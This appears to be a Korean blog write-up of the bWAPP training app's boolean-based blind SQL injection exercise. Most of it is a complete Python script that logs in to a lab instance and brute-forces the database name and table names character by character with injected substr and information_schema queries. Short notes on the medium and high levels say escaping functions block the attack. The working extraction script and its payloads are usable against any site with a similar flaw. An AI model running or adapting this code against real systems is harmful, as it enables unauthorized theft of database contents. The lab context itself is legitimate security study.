728x90
728x90
728x90
 

itsecgames.com

 

itsecgames.com

[사진 1]

영화를 검색하고 출력해주는 페이지인데, 참/거짓에 따라 결과가 다른 점을 이용하여 DB 정보를 탈취할 수 있다.

 

[사진 2]

"Iron Man" 영화 검색 시 참이므로 "The movie exists in our database!" 문구 출력

 

[사진 3]

"Iron Women" 영화 검색 시 거짓이므로 "The movie does note exist in our database!" 문구 출력

 

low

[사진 4]

low레벨이다. 위와 같이 or문으로 참으로 sql 결과를 참으로 만들 수 있다. 이전 문제들과 마찬가지로 information_schema 스키마를 이용해 DB, 테이블명, 컬럼명 등을 알아낼 수 있는데, 무작위대입을 통해 DB명과 테이블명을 알아내는 python 코드를 짜봤다.

 

* code

 

0xe82de/bWAPP

Contribute to 0xe82de/bWAPP development by creating an account on GitHub.

github.com

 

#!/usr/bin/py
#-*-coding:utf-8 -*-

import requests

def GetTables(urlTarget, cookies, databaseName):
  tables = []
  tempTable = ""
  cntTables = 0
  checkEof = 0

  while(True):
    for i in range(1, 66): ## Maximum length of table's name
      if (i == 2 and tempTable == ""):
        return tables, cntTables
      
      if (checkEof == 1):
        checkEof = 0
        break

      for j in range(32, 128): ## Ascii code
        try:
          paramsTarget = {
            "title": "' or 1 and substr((select table_name from information_schema.tables where table_schema=\"" + databaseName + "\" limit "+ str(cntTables) + ", 1), " + str(i) + ", 1)=binary(\"" + chr(j) + "\")#",
            "action": "search"
          }

          r = requests.get(urlTarget, params=paramsTarget, cookies=cookies)
          #print(j)
        
        except Exception as e:
          print(e)
          print("Error...")
          j = j - 1;
          continue;
          exit(1)

        if 'The movie exists in our database!' in r.text:
          tempTable += chr(j)
          
          break
        
        if (j == 127):
          checkEof = 1
    
    tables.append(tempTable)
    tempTable = ""
    cntTables += 1

def GetDatabaseName(urlTarget, cookies, lengthOfDatabaseName):
  databaseName = ""
  
  for i in range(1, lengthOfDatabaseName + 1):
    for j in range(32, 128):
      try:
        paramsTarget = {
          "title": "' or 1 and substr(database(), " + str(i) + ", 1)=binary('" + chr(j) + "')#",
          "action": 'search"'
        }

        r = requests.get(urlTarget, params=paramsTarget, cookies=cookies)
      
      except Exception as e:
        print(e)
        print("Error...")
        exit(1)
      
      if 'The movie exists in our database!' in r.text:
        databaseName += chr(j)
        break
  
  return databaseName

def GetLengthOfDatabaseName(urlTarget, cookies):
  for i in range(1, 21):
    try:
      paramsTarget = {
        "title": "' or 1 and length(database())=" + str(i) + "#",
        "action": "search"
      }
      
      r = requests.get(urlTarget, params=paramsTarget, cookies=cookies)

    except Exception as e:
      print("Error...")
      print(e)
      continue
    
    if 'The movie exists in our database!' in r.text:
      return i

def GetCookies(urlLogin, paramsLogin):
  try:
    session = requests.session()
    session.post(urlLogin, data=paramsLogin)
    
    return session.cookies.get_dict()

  except Exception as e:
    print(e)
    print("Error...")
    exit(1)

if __name__=="__main__":
  urlLogin = "http://192.168.91.135/bWAPP/login.php"
  urlTarget = "http://192.168.91.135/bWAPP/sqli_4.php"
  paramsLogin = {
    "login": "bee",
    "password": "bug",
    "security_level": "0",
    "form": "submit"
  }

  cookies = GetCookies(urlLogin, paramsLogin)
  print("## cookies ##")
  print(cookies)
  print("")

  lengthOfDatabaseName = GetLengthOfDatabaseName(urlTarget, cookies)
  print("## length of database ##")
  print(lengthOfDatabaseName)
  print("")

  databaseName = GetDatabaseName(urlTarget, cookies, lengthOfDatabaseName)
  print("## name of database ##")
  print(databaseName)
  print("")

  print("Search for a table. It takes a long time if there are a lot of tables.\n")
  tables, cntTables = GetTables(urlTarget, cookies, databaseName)
  print("## " + databaseName + "'s tables ##")
  print(tables)
  print("")

  print("## " + databaseName + "'s table count ##")
  print(str(cntTables) + "개")
  print("")

 

[사진 5]

위와 같이 알파벳 소문자, 대문자, 숫자, 특수문자 등을 무작위로 입력하여 참/거짓이 반환됨을 통해 DB명과 테이블명을 알아낼 수 있다. 추가적으로 컬럼 개수와 컬럼명, 데이터도 무작위 대입을 통해 탈취할 수 있을 것 같다.

 

medium

[사진 6]

medium 레벨이다. low 레벨과 다르게 single quote와 특수문자를 입력해도 쿼리문이 참으로 반환되지 않음을 알 수 있다.

 

[사진 7]

소스코드(sqli_4.php)를 보면 medium 레벨과 high 레벨의 경우 각각 sqli_check_1() 함수와 sqli_check_2() 함수에 의해 필터링됨을 알 수 있다.

 

[사진 8]

각 함수를 보면 addslahes() 함수와 mysql_real_escape_string() 함수로 특수문자를 필터링한다. 따라서 이전 문제들과 마찬가지로 SQL Injection이 쉽지 않다.

 

high

high 레벨도 medium 레벨과 마찬가지로 특수문자가 필터링되므로 공격이 어렵겠다.

728x90
728x90

+ Recent posts